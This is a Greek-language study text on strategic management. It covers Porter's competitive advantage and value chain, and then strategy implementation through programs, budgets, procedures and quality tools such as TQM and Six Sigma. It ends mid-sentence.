Το ανταγωνιστικό πλεονέκτημα Ειδικότερα ο Porter περιγράφει το ανταγωνιστικό πλεονέκτημα ως εξής: Το ανταγωνιστικό πλεονέκτημα δημιουργείται από την αξία που η επιχείρηση μπορεί να προσφέρει στους αγοραστές της, όταν η αξία αυτή υπερέχει από το κόστος δημιουργίας της. Σημασία της αξίας Αξία είναι το τι οι καταναλωτές επιθυμούν να πληρώσουν και η υπεροχή της αξίας πηγάζει από την προσφορά χαμηλότερων τιμών απ’αυτές που πληρώνουν οι καταναλωτές για ισοδύναμα οφέλη, ή από την παροχή μοναδικών οφελών τα οποία αντισταθμίζουν μια

υψηλότερη τιμή. Επχείρηση ως σύνολο δραστηριοτήτων Κάθε επιχείρηση μπορεί να θεωρηθεί ως ένα σύνολο δραστηριοτήτων που είναιαπαραίτητες για το σχεδιασμό, την παραγωγή, την πώληση, τη διανομή και την υποστήριξη των προϊόντων της και βασικός της στόχος είναι η δημιουργία αξίας. Αξία είναι το τι οι αγοραστές επιθυμούν να πληρώσουν για να αποκτήσουν το προϊόν της επιχείρησης. Δραστηριότητες αξίας Οι δραστηριότητες αξίας διακρίνονται σε κύριες δραστηριότητες και δραστηριότητες υποστήριξης. Κύριες θεωρούνται οι δραστηριότητες που συμβάλλουν στη φυσική δημιουργία του προϊόντος, στην πώληση του, στη διανομή του και στην υποστήριξη του μετά την πώληση. Υποστηρικτικές δραστηριότητες Υποστηρικτικές δραστηριότητες είναι εκείνες που περιβάλλουν τις κύριες και παρέχουν την απαραίτητη υποδομή για την υποστήριξη και το συντονισμό τους. Βασικός στόχος των δραστηριοτήτων αξίας είναι η δημιουργία της μεγαλύτερης δυνατής αξίας για τον πελάτη με το χαμηλότερο δυνατό κόστος ή, με άλλα λόγια, η μεγιστοποίηση του περιθωρίου κέρδους. Αλυσίδα αξίας Στο διάγραμμα που ακολουθεί, απεικονίζεται η αλυσίδα αξίας μιας επιχείρησης η οποία αποτελείται από δυο κύρια τμήματα: τις κύριες δραστηριότητες και τις δραστηριότητες υποστήριξης. Οι δραστηριότητες αξίας είναι πιθανό να διαφέρουν σε κάθε επιχείρηση ανάλογα με το αντικείμενο των εργασιών της, το μέγεθος της, το επιχειρηματικό της μοντέλο κ.λπ. Κύριες δραστηριότητες της επιχείρησης Όπως φαίνεται και στο παραπάνω διάγραμμα, κύριες δραστηριότητες της επιχείρησης είναι: -Διαχείριση εισροών: λειτουργίες που σχετίζονται με την υποδοχή, την αποθήκευση και την διακίνηση των πρώτων υλών, την απογραφή, τις επιστροφές στους προμηθευτές και τον έλεγχο των αποθεμάτων. -Λειτουργίες: δραστηριότητες που σχετίζονται με τη μεταποίηση των εισροών στο τελικό προϊόν, όπως συσκευασία, συναρμολόγηση, έλεγχος, συντήρηση εξοπλισμού, εγκαταστάσεις. -Διαχείριση εκροών: λειτουργίες που σχετίζονται με τη συλλογή, την αποθήκευση και τη φυσική διανομή του προϊόντος στους καταναλωτές. -Marketing και πωλήσεις: δραστηριότητες που σχετίζονται με την παροχή των

μέσων που επιτρέπουν στον καταναλωτή να ενημερωθεί για το προϊόν και να το αγοράσει, όπως διαφήμιση, διοίκηση πωλήσεων, προώθηση, τιμολόγηση, επιλογή καναλιών διανομής κ.ά. -Υπηρεσίες μετά την πώληση: Δραστηριότητες που σχετίζονται με την παροχή υπηρεσιών για την αύξηση ή διατήρηση της αξίας του προϊόντος, όπως εγκατάσταση, επισκευή, εκπαίδευση, παροχή ανταλλακτικών, προσαρμογή προϊόντος. Υποστηρικτικές λειτουργίες Στον εντοπισμό των υποστηρικτικών λειτουργιών μπορούμε να διακρίνουμε: -Προμήθειες: δραστηριότητες που συνδέονται με την απόκτηση υλικών που εισέρχονται στην παραγωγική διαδικασία, δηλαδή διαδικασίες που εφαρμόζονται για την εξασφάλιση των απαραίτητων εισροών σε κάθε στάδιο της αλυσίδας αξίας. -Ανάπτυξη τεχνολογίας: δραστηριότητες που συνδέονται τόσο με το σχεδιασμό των προϊόντων, όσο και με τη βελτίωση της εκτέλεσης των υπολοίπων λειτουργιών της αλυσίδας αξίας, προσπάθειες καινοτομίας και εκμετάλλευσης νέων τεχνολογιών κ.λπ. -Διαχείριση ανθρώπινου δυναμικού: δραστηριότητες που απαιτούνται για την προσέλκυση, πρόσληψη, διασφάλιση της στελέχωσης, της εκπαίδευσης και της ανάπτυξης του προσωπικού. -Υποδομή επιχείρησης: δραστηριότητες όπως γενική διοίκηση, χρηματοοικονομική διοίκηση, λογιστική διοίκηση, στρατηγικός προγραμματισμός, νομική υποστήριξη, πληροφοριακά συστήματα, που υποστηρίζουν ολόκληρη την αλυσίδα αξίας. Ο στόχος της αλυσίδας αξίας Ο στόχος της αλυσίδας αξίας, μέσα από την ανάλυση των λειτουργιών της επιχείρησης, είναι ο εντοπισμός των λειτουργιών που δημιουργούν αξία και των λειτουργιών της επιχείρησης που παρουσιάζουν προβλήματα καθώς και την μεταξύ τους σύνδεση. Η γνώση των παραπάνω είναι απαραίτητη για την επιτυχή εφαρμογή του στρατηγικού σχεδιασμού της επιχείρησης Δραστηριότητες αξίας ως θεμέλιος λίθος Από τα παραπάνω συμπεραίνουμε ότι οι δραστηριότητες αξίας αποτελούν το θεμέλιο λίθο για την επίτευξη ανταγωνιστικού πλεονεκτήματος. Παρ’ όλη όμως τη σημασία των δραστηριοτήτων αξίας, η αλυσίδα αξίας δεν αποτελεί απλά ένα άθροισμα επιμέρους δραστηριοτήτων αλλά ένα οργανικά συνδεδεμένο σύνολο. Διασυνδέσεις Οι διάφορες διασυνδέσεις που προκύπτουν, είναι οι σχέσεις μεταξύ του τρόπου που μια

δραστηριότητα αξίας εκτελείται και της επίδρασης που έχει η εκτέλεση της στο κόστος ή στη λειτουργία μιας άλλης δραστηριότητας. Ανάλογες διασυνδέσεις μπορεί να υφίστανται μεταξύ των κύριων δραστηριοτήτων, μεταξύ κύριων και υποστηρικτικών ή μεταξύ υποστηρικτικών. Ανταγωνιστικότητα μιας επιχείρησης Η ανταγωνιστικότητα μιας επιχείρησης όμως δεν εξαρτάται μόνο από το κόστος και την απόδοση των δραστηριοτήτων της δικής της αλυσίδας αξίας αλλά και από την αλυσίδα αξίας των προμηθευτών της, των καναλιών διανομής και των αγοραστών της. Αλυσίδα αξίας μέρος του συστήματος αξίας Επομένως, όπως φαίνεται και στο διάγραμμα που ακολουθεί, η αλυσίδα αξίας της επιχείρησης αποτελεί ένα μέρος του όλου συστήματος αξίας που περιλαμβάνει την αλυσίδα αξίας των επιχειρήσεων που βρίσκονται πριν από τη επιχείρηση αυτή και των αλυσίδων αξίας των επιχειρήσεων που βρίσκονται μετά τη συγκεκριμένη επιχείρηση. Συστήματα διοίκησης ολικής ποιότητας Η αξία που δημιουργεί κάθε επιχείρηση για τον αγοραστή επηρεάζεται σημαντικά από τις διασυνδέσεις κάθε επιχείρησης μέσα στο σύστημα αξίας. Στη σημασία των διασυνδέσεων αυτών δίνουν ιδιαίτερη βαρύτητα και τα συστήματα διοίκησης ολικής ποιότητας στα οποία οι συνεργάτες, προμηθευτές και διανομείς της επιχείρησης παίζουν καθοριστικό ρόλο στην προσπάθεια βελτίωσης της λειτουργίας της επιχείρησης. Οι αντικειμενικοί σκοποί της επιχείρησης Οι αντικειμενικοί σκοποί θεωρούνatι at τελικά αποτελέσματα μιας σχεδιασμένης δραστηριότητας προσδιορίζοντας τόσο το αποτέλεσμα όσο και το χρονικό διάστημα για την εκπλήρωσή του (π.χ. αύξηση των κερδών της επιχείρησης κατά 20% σε 5 έτη). Ο αντικειμενικός σκοπός μπορεί να αφορά την αποτελεσματικότητα, την κερδοφορία, το μερίδιο αγοράς, την ανάπτυξη, την φήμη, τον πλουτισμό των μετόχων, την χρήση των πόρων, την τεχνολογία κ.α. Ειδικές Γνώσεις: Σχεδιασμός Το ανatγωνιστικό πλεονέκτημα Γενικά Κεντρικό σημείο αναφοράς κάθε στρατηγικής αποτελεί το ανταγωνιστικό πλεονέκτημα. Εάν η επιχείρηση δεν διαθέτει ένα πλεονέκτημα έναντι των ανταγωνιστών της, το οποίο δεν αντιγράφεται, ούτε αντικρούεται, η μακροπρόθεσμη κερδοφορία της είναι απατηλή.

Ο Michael Porter υποστηρίζει ότι μια επιχείρηση μπορεί να πετύχει ανταγωνιστικό πλεονέκτημα, αν δημιουργήσει αξία είτε μέσω της μείωσης του κόστους της, είτε αυξάνοντας την προσδοκία σύμφωνα με την οποία οι καταναλωτές θα είναι πρόθυμοι να πληρώσουν παραπάνω χρήματα για το προϊόν της. Επιχείρηση και ανatγωνιστικό πλεονέκτημα Μια επιχείρηση διαθέτει ανταγωνιστικό πλεονέκτημα, όταν το ποσοστό κέρδους της είναι πιο υψηλό από το μέσο όρο του κλάδου όπου ανήκει. Αυτό προκύπτει από την αξία, την οποία η επιχείρηση μπορεί να δημιουργήσει για τους καταναλωτές της χάρη στο ανταγωνιστικό πλεονέκτημα. Πρόκειται, δηλαδή, για την αξία που δημιουργείται για τους καταναλωτές, μείον το κόστος που αυτή συνεπάγεται για την επιχείρηση. Σύμφωνα με την Τσακίρη (2004), η επίτευξη ανταγωνιστικού πλεονεκτήματος προσφέρεις στην επιχείρηση τη δυνατότητα: -Να παράγει με χαμηλό κόστος. -Να προσφέρει το προϊόν ή τις υπηρεσίες της σε χαμηλότερη τιμή από τους ανταγωνιστές της. -Να πετυχαίνει σημαντικά κέρδη. -Να διαφοροποιείται από τους υπόλοιπους. Βασικοί παράγωντες του ανatγωνιστικού πλεονεκτήματος Βασικοί παράγοντες πάνω στους οποίους στηρίζεται η δημιουργία του ανταγωνιστικού πλεονεκτήματος, όπως φαίνεται και από το διάγραμμα που ακολουθεί, είναι οι εξής: -Η αποδοτικότητα της επιχείρησης. -Η καινοτομία. -Η ποιότητα προϊόντων ή υπηρεσιών. -Η ανταπόκριση του καταναλωτή Αποδοτικότητα της επιχείρησης: Είναι η σχέση που υπάρχει ανάμεσα στις εισροές και τις εκροές ενός συστήματος. Όσο πιο αποδοτική είναι μια επιχείρηση τόσο λιγότερες εισροές χρειάζεται για την παραγωγή των προϊόντων γεγονός που οδηγεί σε πλεονέκτημα κόστους. Καινοτομία: Είναι οτιδήποτε νέο εφαρμόζεται στον τρόπο λειτουργίας της επιχείρησης (συστήματα διοίκησης, δομή, συστήματα παραγωγής κ.λπ.) ή στα προϊόντα που παράγει. Η καινοτομία, όπως και η ποιότητα, μπορεί να συμβάλει στην απόκτηση πλεονεκτήματος κόστους ή διαφοροποίησης. Αποτελεί ίσως τη σημαντικότερη πηγή ανταγωνιστικού πλεονεκτήματος, ειδικά σε κλάδους που επηρεάζονται από τις τεχνολογικές εξελίξεις.

Ποιότητα: Η υψηλή ποιότητα προϊόντων κα υπηρεσιών αποτελεί ισχυρό ανταγωνιστικό πλεονέκτημα, δεδομένου ότι εξαιτίας της οι καταναλωτές αποδίδουν μεγαλύτερη αξία στα προϊόντα της. Επομένως, επιδρά θετικά στην κερδοφορία με δυο τρόπους: από τη μια αυξάνει την αξία των προϊόντων και επιτρέπει τη χρέωση υψηλότερων τιμών, και, από την άλλη, αυξάνει την αποδοτικότητα οπότε μειώνει το κόστος ανά μονάδα προϊόντος. ‘Όσο καλύτερη είναι η ποιότητα του προϊόντος τόσο υψηλότερη τιμή μπορεί η επιχείρηση να καθορίσει για το προϊόν αυτό’. Ανταπόκριση του καταναλωτή: Μια επιχείρηση υπερτερεί στην ανταπόκριση πελατών όταν αναγνωρίζει και ικανοποιεί τις ανάγκες των καταναλωτών καλύτερα και γρηγορότερα από τους ανταγωνιστές. Η ικανότητα αυτή συνεισφέρει στη δημιουργία πρόσθετης αξίας για τον πελάτη και στη διαφοροποίηση από τον ανταγωνισμό. Σημαντικοί παράγοντες στην ανταπόκριση πελατών είναι η ανώτερη ποιότητα, η καλύτερη εξυπηρέτηση, η εξατομίκευση των προϊόντων κ.λπ. Διατηρήσιμο ανatγωνιστικό πλεονέκτημα Η απόκτηση και η διατήρηση ενός ανταγωνιστικού πλεονεκτήματος από μια επιχείρηση συνίσταται στην επιδίωξη επιτυχίας: -της βέλτιστης απόδοσης, -της βέλτιστης ποιότητας, -της ανανέωσης, δηλαδή της καινοτομίας και -της ανταπόκρισης στις ανάγκες των καταναλωτών. Οι δυνάμεις της επιχείρησης Οι δυνάμεις της επιχείρησης προκαλούν τη βελτίωση στους τομείς αυτούς, ενώ οι αδυναμίες της οδηγούν στην επιδείνωση των τομέων αυτών. Η ανάλυση των δυνάμεων και των αδυναμιών της επιχείρησης, η οποία γίνεται με τη βοήθεια της μεθόδου SWOT, και οι διάφορες εναλλακτικές λύσεις οι οποίες προκύπτουν από αυτήν, υποδεικνύει τους τρόπους με τους οποίους είναι δυνατή η απόκτηση ανταγωνιστικού πλεονεκτήματος. Πηγές ανatγωνιστικού πλεονεκτήματος Σύμφωνα με τον Michael Porter, υπάρχουν δύο βασικά είδη ανταγωνιστικού πλεονεκτήματος: η ηγεσία κόστους (cost leadership) και η διαφοροποίηση (differentiation). Το διάγραμμα που ακολουθεί παρουσιάζει τις δύο πηγές του ανταγωνιστικού πλεονεκτήματος. Διαπίστωση δυνάμεων και αδυναμιών

Η απόφαση μιας επιχείρησης να δημιουργήσει ανταγωνιστικό πλεονέκτημα βασίζεται στη διαπίστωση των δυνάμεων και των αδυναμιών της. Όταν δεν ακολουθείται μια βασική στρατηγική, θα πρέπει να αποφασιστεί είτε να ληφθούν μέτρα για να γίνει η επιχείρηση ηγέτης κόστους, είτε να στρέψει την προσοχή της σε ένα ιδιαίτερο τμήμα της αγοράς, εστίαση, ή να επιτύχει κάτι μοναδικό, διαφοροποίηση. ΥΛΟΠΟΙΗΣΗ ΣΤΡΑΤΗΓΙΚΗΣ Εισαγωγή Η υλοποίηση της στρατηγικής, αποτελεί το τρίτο στάδιο στο υπόδειγμα του στρατηγικού μάνατζμεντ.Το στάδιο της υλοποίησης της στρατηγικής αποτελεί εξίσου σημαντικό κομμάτι του στρατηγικού μάνατζμεντ λόγω του ότι μια στρατηγική όσο σωστά και αποδοτικά αν είναι διαμορφωμένη δεν θα είναι επιτυχημένη εάν δεν υλοποιηθεί αποτελεσματικά. Τα δύο αυτά στάδια του στρατηγικού μάνατζμεντ, αν και είναι στενά συνδεδεμένα μεταξύ τους, η επιτυχία του ενός δεν συνεπάγεται αυτόματα και την επιτυχία του άλλου. Στάδιο δημιουργίας μιας στρατηγικής Το στάδιο δημιουργίας μιας στρατηγικής επικεντρώνεται στην αποτελεσματικότητα, δηλαδή στο κατά πόσο οι στρατηγικές που θα επιλεγούν μπορούν να οδηγήσουν την επιχείρηση στην εκπλήρωση του σκοπού και των στόχων της, ενώ το στάδιο της υλοποίησης μιας στρατηγικής επικεντρώνεται στην αποδοτικότητα, δηλαδή στο κατά πόσο οι στρατηγικές που εφαρμόζονται θα οδηγήσουν στην αύξηση της παραγωγικότητας και απόδοσης ή κερδοφορίας της επιχείρησης εν συγκρίσει με τους ανταγωνιστές της. Διαμόρφωση Η διαμόρφωση είναι μια διαδικασία η οποία αφορά κυρίως τα ανώτερα στελέχη της επιχείρησης ενώ η υλοποίηση τα μεσαία και κατώτερα στελέχη, επηρεάζοντας ολόκληρη την επιχείρηση. Για το λόγο αυτό η διαδικασία της υλοποίησης είναι περισσότερο πολύπλοκη από αυτή της διαμόρφωσης. Επομένως, για να υλοποιηθεί αποτελεσματικά μια στρατηγική θα πρέπει να συντονιστεί και να συνεργαστεί ολόκληρη η επιχείρηση. Ορισμός της υλοποίησης Οποιαδήποτε στρατηγική, όσο έξοχη και αν είναι, πρέπει να εφαρμοστεί σωστά για να αποφέρει τα επιθυμητά αποτελέσματα. Σημασία της υλοποίησης της στρατηγικής Υλοποίηση της στρατηγικής είναι δηλαδή η διαδικασία μέσω της οποίας εφαρμόζονται οι στρατηγικές και οι πολιτικές της επιχείρησης. Η υλοποίηση των στρατηγικών και των

πολιτικών πραγματοποιείται μέσω της ανάπτυξης: -Προγραμμάτων (Programs) -Προϋπολογισμών (Budgets) -Διαδικασιών (Procedures) Μετατροπή της στρατηγικής με πράξεις Όταν η διοίκηση επιλέξει μια στρατηγική, η έμφαση δίνεται μετά στη μετατροπή της σε πράξεις και επιθυμητά αποτελέσματα. Η εφαρμογή της στρατηγικής και η καθοδήγηση ολόκληρης της επιχείρησης για την επιτυχή υλοποίηση της απαιτούν διαφορετικές διοικητικές ικανότητες. Επιτυχημένη διαμόρφωση στρατηγικής Ενώ η επιτυχημένη διαμόρφωση στρατηγικής εξαρτάται από το επιχειρηματικό όραμα, την αξιόπιστη ανάλυση του εσωτερικού και εξωτερικού περιβάλλοντος της επιχείρησης και τη διορατική τοποθέτηση στην αγορά, η επιτυχημένη υλοποίηση μιας στρατηγικής εξαρτάται από την καλή συνεργασία όλων των μελών μιας επιχείρησης, την ενίσχυση των ανταγωνιστικών δυνατοτήτων, την παρακίνηση καθώς και την ανταμοιβή των εργαζομένων έτσι ώστε να υποστηρίζεται πλήρως η στρατηγική. Ομαδική προσπάθεια στην υλοποίηση μιας στρατηγικής Η καλή υλοποίηση μιας στρατηγικής απαιτεί ομαδική προσπάθεια. Όλα τα διευθυντικά στελέχη έχουν ευθύνη για την υλοποίηση της στρατηγικής στους τομείς των αρμοδιοτήτων τους και όλοι οι εργαζόμενοι συμμετέχουν στη διαδικασία υλοποίησης της στρατηγικής. Τρία ερωτήματα για την υλοποίηση Πριν ξεκινήσει η υλοποίηση της στρατηγικής, τα ανώτατα διοικητικά στελέχη της επιχείρησης που έχουν συμβάλλει στη διαμόρφωση της στρατηγικής θα πρέπει να απαντήσουν στα επόμενα τρία ερωτήματα: 1. Ποιοι άνθρωποι θα πραγματοποιήσουν το στρατηγικό σχέδιο; 2. Τι πρέπει να γίνει για να επιτύχει η επιχείρηση το επιδιωκόμενο αποτέλεσμα; 3. Πως θα κάνουν μέσα στην επιχείρηση αυτό που χρειάζεται να γίνει; Συμπέρασμα Αν η διοίκηση δεν καταφέρει να απαντήσει αποτελεσματικά στα παραπάνω βασικά ερωτήματα, ακόμη και η πιο καλά σχεδιασμένη στρατηγική είναι πολύ δύσκολο να φέρει το επιθυμητό αποτέλεσμα.

ΠΡΟΓΡΑΜΜΑΤΑ

Γενικά Πρόγραμμα είναι η περιγραφή των ενεργειών και των βημάτων που απαιτούνται για την επίτευξη ενός σχεδίου ή την υλοποίηση μιας στρατηγικής. Τα προγράμματα επομένως προσανατολίζουν, δίνουν σε μία επιχείρηση κατευθυντήριες γραμμές δράσης. Παραδείγματα προγραμμάτων μπορεί να είναι : -Διαφημιστικά προγράμματα -Προγράμματα μάρκετινγκ για την αύξηση των πωλήσεων -Εκπαιδευτικά προγράμματα για την εξειδίκευση του προσωπικού. Ανάπτυξη και υλοποίηση προγραμμάτων Κατά την ανάπτυξη και υλοποίηση των διαφόρων προγραμμάτων πρέπει να δοθεί έμφαση στα επόμενα θέματα: 1. Εφικτότητα των προγραμμάτων: αν μπορούν να αποτελέσουν τα προτεινόμενα προγράμματα ένα συνεπές και σταθερό σύστημα, λόγω του γεγονότος ότι επηρεάζουν τη σταθερότητα ολόκληρου του συστήματος της επιχείρησης. 2. Σειρά εκτέλεσης τους: από πού πρέπει να ξεκινήσει η αλλαγή και αν επηρεάζεται σημαντικά η επιτυχία της υλοποίησης από τη σειρά εκτέλεσης τους. 3. Τοποθεσία: πόσο εύκολο και με τι κόστος είναι να αναδιοργανώσουμε τις υπάρχουσες εγκαταστάσεις ώστε να μπορέσουν να καθιερωθούν τα νέα προγράμματα. 4. Ρυθμός και έκταση των πραγματοποιούμενων αλλαγών: η αλλαγή μπορεί να επιδιωχθεί αργά ή γρήγορα, σταδιακά ή ολοκληρωτικά με διαφορετικές συνέπειες στην αποδοχή της και την επιτυχία της. 5. Αξιολογήσεις των stakeholders: ποια προγράμματα προσφέρουν τη μεγαλύτερη αξία για την επιχείρηση, έχουν αγνοηθεί τυχόν σοβαρές αλληλεπιδράσεις από την υλοποίηση των νέων προγραμμάτων. Προυπολογισμοί Μετά την ανάπτυξη των προγραμμάτων αρχίζει η διαδικασία για την ανάπτυξη των προϋπολογισμών. Ο προϋπολογισμός αποτελεί τη ποσοτική έκφραση ενός προγράμματος, είναι δηλαδή η ανάλυση του πόσο θα κοστίσει μία συγκεκριμένη διαδικασία στην επιχείρηση, καθώς και τα κέρδη που αναμένονται από αυτή τη διαδικασία.

Σε πολλές επιχειρήσεις, πριν την έγκριση κάποιου προγράμματος υπολογίζεται η ποσοστιαία απόδοση του και αυτό συμβαίνει γιατί μία ιδανική αρχικά στρατηγική μπορεί να είναι ασύμβατη μετά την κοστολόγηση συγκεκριμένων προγραμμάτων. Συμπέρασμα Καμία στρατηγική ή επιμέρους προγράμματα, όσο φιλόδοξα και αν είναι, δεν πρόκειται να εφαρμοστούν αν κριθεί ότι η απόδοσή τoυς και τα αναμενόμενα κέρδη της επένδυσης είναι ανεπαρκή. Επομένως οι προϋπολογισμοί αναπτύσσονται για την διαφύλαξη των εταιρικών κεφαλαίων της επιχείρησης. Διαδικασίες Οι διαδικασίες ή Standard Operations Procedures (SOPs) αποτελούν βασικό συστατικό μέρος των προγραμμάτων και είναι οι λεπτομερείς τρόποι εκτέλεσης των αναγκαίων για την υλοποίηση των προγραμμάτων δραστηριοτήτων. Ουσιαστικά οι διαδικασίες αυτές δίνουν με λεπτομέρεια τις διάφορες ενέργειες που πρέπει να γίνουν για την ολοκλήρωση των προγραμμάτων της επιχείρησης. Η συχνή ανανέωση των διαδικασιών είναι πολύ σημαντική ώστε να γίνονται αντιληπτές οι μεταβολές στην τεχνολογία και την επιλεγμένη στρατηγική. Διάκριση διαδικασιών Διακρίνονται από μεγάλη συνοχή και επαναλαμβανόμενες ενέργειες σε αντίθεση με τα προγράμματα τα οποία υποδιαιρούνται σε μικρότερες επιμέρους διαδικασίες. Ενέργειες πριν την υλοποίηση της στρατηγικής Η επιτυχημένη υλοποίηση μιας στρατηγικής εξαρτάται σε ένα πολύ μεγάλο βαθμό από το ικανό προσωπικό, τις θεμελιώδεις ικανότητες και τις ανταγωνιστικές δυνατότητες καθώς και από την αποτελεσματική εσωτερική οργάνωση της επιχείρησης. Τρεις κύριες ενέργειεςΕπομένως οι τρείς κύριες ενέργειες που απαιτούνται για την οικοδόμηση ενός οργανισμού ικανού για να υλοποιήσει επιτυχημένα μια στρατηγική είναι: -Στελέχωση του οργανισμού: τοποθέτηση των κατάλληλων ανθρώπων στις κατάλληλες θέσεις. Η σύσταση ισχυρής διοικητικής ομάδας σε συνδυασμό με την προσέλκυση και διατήρηση εργαζομένων που διαθέτουν την απαραίτητη εμπειρία, τεχνικές δεξιότητες και ικανότητες είναι πρωταρχικής σημασίας. Σύμφωνα με τους Thompson, Strickland και Gamble (2007), σε πολλές εταιρείες η προσθήκη στη βάση μιας εταιρείας ταλαντούχων εργαζομένων και η οικοδόμηση διανοητικών ικανοτήτων είναι πιο σημαντικές ενέργειες από τις επιπλέον επενδύσεις σε μηχανολογικό εξοπλισμό, εργοστάσια κλπ. Στόχος όλων

των εταιρειών είναι η μετατροπή ολόκληρου του εργατικού δυναμικού (διευθυντών και απλών εργαζομένων) σε μια δεμένη και ταλαντούχα ομάδα. -Δημιουργία θεμελιωδών ικανοτήτων και ανταγωνιστικών δυνατοτήτων: η καλή υλοποίηση της στρατηγικής απαιτεί την εφαρμογή των επιθυμητών ικανοτήτων και δυνατοτήτων, την αναβάθμισή τους και τη μετέπειτα τροποποίηση τους καθώς εξελίσσονται οι συνθήκες της αγοράς. Ωστόσο, η οικοδόμηση ικανοτήτων και δυνατοτήτων είναι μία διαδικασία με πολλά στάδια που πραγματοποιείται σε μεγάλο χρονικό διάστημα. Η διαδικασία αυτή χωρίζεται σε τρία στάδια: 1) αρχικά την επιλογή ανθρώπων με τις απαιτούμενες ικανότητες, δεξιότητες και εμπειρία την αναβάθμιση αυτών καθώς και τη δημιουργία μιας κοινής οργανωτικής ικανότητας, 2) με τη συνεχόμενη απόκτηση εμπειρίας και τη συνεχή εκπαίδευση η ικανότητα των εργαζομένων εξελίσσεται σε μία αποδεδειγμένα αληθινή ικανότητα ή δυνατότητα, 3) με την τελειοποίηση της τεχνογνωσίας των εργαζομένων και τη συνεχή βελτίωση τους στη διεξαγωγή μιας δραστηριότητας ώστε η εταιρεία να γίνεται καλύτερη από τους ανταγωνιστές της στη συγκεκριμένη δραστηριότητα, η θεμελιώδης ικανότητα μετατρέπεται σε ξεχωριστή ικανότητα δημιουργώντας έτσι σοβαρή υποψηφιότητα για απόκτηση ανταγωνιστικού πλεονεκτήματος. Η ανάπτυξη ικανοτήτων και δυνατοτήτων που είναι πολύ δύσκολο ή δαπανηρό να αντιγραφεί από τους ανταγωνιστές βελτιώνει την υλοποίηση της στρατηγικής και δίνει τη δυνατότητα απόκτησης ανταγωνιστικού πλεονεκτήματος. -Δόμηση του οργανισμού και της εργασιακής προσπάθειας: η οργάνωση των δραστηριοτήτων της αλυσίδας αξίας και των επιχειρηματικών διαδικασιών καθώς και ο καθορισμός του βαθμού εξουσίας για τη λήψη αποφάσεων αποτελούν καίρια θέματα ενός οργανισμού που επιθυμεί την αποτελεσματική υλοποίηση της στρατηγικής της. Η σωστή επιλογή για το ποιες δραστηριότητες της αλυσίδας αξίας της επιχείρησης (κάποιες δραστηριότητες της αλυσίδας αξίας είναι πάντα πιο κρίσιμες για τη στρατηγική επιτυχία και το ανταγωνιστικό πλεονέκτημα σε σχέση με άλλες) θα διεξαχθούν εσωτερικά και ποιες θα εκχωρηθούν σε τρίτους μπορεί να οδηγήσει σε πολλά πλεονεκτήματα όπως: χαμηλότερο κόστος, ταχύτερη λήψη αποφάσεων κλπ. Επίσης θα πρέπει να εξασφαλιστεί ο εσωτερικός συντονισμός των διαφόρων μονάδων μεταξύ τους καθώς και η συνεργασία με τους κατάλληλους εξωτερικούς προμηθευτές και η δημιουργία συμμάχων ή συμπράξεων συνεργασίας επειδή παρουσιάζονται άμεσες ευκαιρίες που ανοίγουν την πόρτα σε μελλοντικές δυνατότητες. Τέλος, ο καθορισμός του

βαθμού εξουσίας που θα παραχωρηθεί σε κάθε μονάδα και κάθε εργαζόμενο οδηγεί σε διάφορες οργανωτικές δομές.

Η οργανωτική δομή Σύμφωνα με τη συγκεντρωτική οργανωτική δομή οι αποφάσεις για τα περισσότερα σημαντικά θέματα θα πρέπει να προωθούνται στα διοικητική στελέχη της κορυφής της ιεραρχίας που διαθέτουν και την εμπειρία και την εξειδίκευση. Αντίθετα, σύμφωνα με την αποκεντρωμένη οργανωτική δομή η αρμοδιότητα για τη λήψη αποφάσεων θα πρέπει να βρίσκεται στα χέρια των ανθρώπων που βρίσκονται πλησιέστερα και είναι πιο εξοικειωμένοι και έχουν μεγαλύτερη πείρα με τα συγκεκριμένα θέματα. Αποτελεσματικές πρακτικές για την υλοποίηση της στρατηγικής Τα διοικητικά στελέχη μιας επιχείρησης μπορούν να προάγουν σημαντικά το σκοπό της αποτελεσματικής υλοποίησης της στρατηγικής ωθώντας τις οργανωσιακές μονάδες και το προσωπικό να προσδιορίσουν και να υιοθετήσουν τις βέλτιστες πρακτικές για την εκτέλεση των δραστηριοτήτων της αλυσίδας αξίας και εμμένοντας στη συνεχή βελτίωση του τρόπου διεκπεραίωσης των εσωτερικών λειτουργιών. Εργαλεία μέτρησης της αποτελεσματικότητας Μερικά από at πλέον διαδεδομένα και αποτελεσματικά εργαλεία μέτρησης της αποτελεσματικότητας της εκτέλεσης της στρατηγικής μιας επιχείρησης αποτελούν: -Σύγκριση Διεπιχειρησιακών Επιδόσεων για Δείκτες Ανταγωνιστικότητας: βοηθά τις επιχειρήσεις να ανταποκρίνονται άμεσα στιςαπαιτήσεις της αγοράς, να εφευρίσκουν καινοτομίες και να έχουν ως κεντρικό γνώμονα τους τον πελάτη και γενικά να χειρίζονται αποτελεσματικά οποιαδήποτεαλλαγή του εξωτερικού περιβάλλοντος. Δηλαδή γίνεται εκτέλεση συγκεκριμένωνδραστηριοτήτων και επιχειρηματικών διαδικασιών της εταιρείας έναντι τωνκαλύτερων εταιρειών του κλάδου και των καλύτερων εταιρειών του κόσμου. -Ανασχεδιασμό των Επιχειρηματικών Διαδικασιών (Business Process Reengineering – BPR): αναδιοργανώνει το ανθρώπινο δυναμικό σε μια στενά συνδεδεμένη ομάδα που διατηρεί τον έλεγχο του συνόλου της διαδικασίας και η οποία μπορεί να θεωρηθεί υπεύθυνη για την εκτέλεση της δραστηριότητας με έναν φθηνότερο, καλύτερο και περισσότερο υποστηρικτικό για τη στρατηγική τρόπο. -Διοίκηση Ολικής Ποιότητας (Total Quality Management): δημιουργεί μια κουλτούρα ολικής ποιότητας βασισμένη στη συνεχή βελτίωση της εκτέλεσης κάθε

εργασίας και δραστηριότητας της αλυσίδας αξίας. -Έλεγχος ποιότητας Six Sigma: συνίσταται σε ένα πειθαρχημένο σύστημα βασισμένο στη στατιστική που αποσκοπεί στην παραγωγή 3,4 ελαττωμάτων ανά ένα εκατομμύριο επαναλήψεις για κάθε επιχειρηματική διαδικασία. Η διαδικασία προσδιορισμού, μέτρησης, ανάλυσης, βελτίωσης και ελέγχου (μεθοδολογία DMAIC) της προσέγγισης Six Sigma είναι ένα σύστημα βελτίωσης των υφιστάμενων διαδικασιών που δεν πληρούν τις προδιαγραφές και χρειάζονται βελτίωση. Η Κατανομή των πόρων Η κατανομή των επιχειρησιακών πόρων στις διάφορες δραστηριότητες, στρατηγικές επιχειρηματικές μονάδες και τμήματα τις επιχείρησης κρίνεται απαραίτητη κατά την υλοποίηση της στρατηγικής. Οι επιχειρησιακοί πόροι, οι οποίοι διακρίνονται σε χρηματοοικονομικούς, φυσικούς, τεχνολογικούς και ανθρώπινους, δεδομένου ότι είναι 